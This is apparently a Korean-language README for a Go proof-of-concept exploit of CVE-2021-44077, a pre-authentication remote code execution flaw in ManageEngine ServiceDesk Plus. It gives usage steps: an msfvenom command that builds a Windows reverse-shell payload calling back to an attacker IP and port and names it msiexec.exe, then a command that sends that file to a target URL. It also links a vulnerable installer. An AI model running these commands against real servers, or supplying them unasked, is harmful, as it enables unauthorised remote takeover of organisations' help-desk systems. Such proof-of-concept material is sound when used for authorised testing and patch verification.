Golang-CVE-2021-44077-POC

이 익스플로잇은 Zoho ManageEngine ServiceDesk Plus < 11306에서 인증되지 않은 RCE(원격 코드 실행)입니다.

취약한 버전의 소프트웨어는 여기에서 찾을 수 있습니다: http://archives.manageengine.com/service-desk/11303/ManageEngine_ServiceDesk_Plus_64bit.exe

이에 대한 Golang 버전을 찾을 수 없어서 여기에 제공합니다. 제 코드가 훌륭하지 않으므로 사용 시 본인의 책임하에 진행하십시오.

블로그 게시물:

https://www.pizzapower.me/2022/09/29/golang-proof-of-concept-exploit-for-cve-2021-44077-preauth-rce-in-manageengine-servicedesk-plus-11306/

실행

현재 디렉터리에 악성 페이로드를 생성하십시오.

msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.2 LPORT=4444 -f exe > msiexec.exe

그런 다음 익스플로잇을 실행하십시오.

go run CVE-2021-44077.go -u "http://192.168.1.3:8080/" -f "/msiexec.exe"

-u는 취약한 URL입니다. -f는 악성 파일입니다.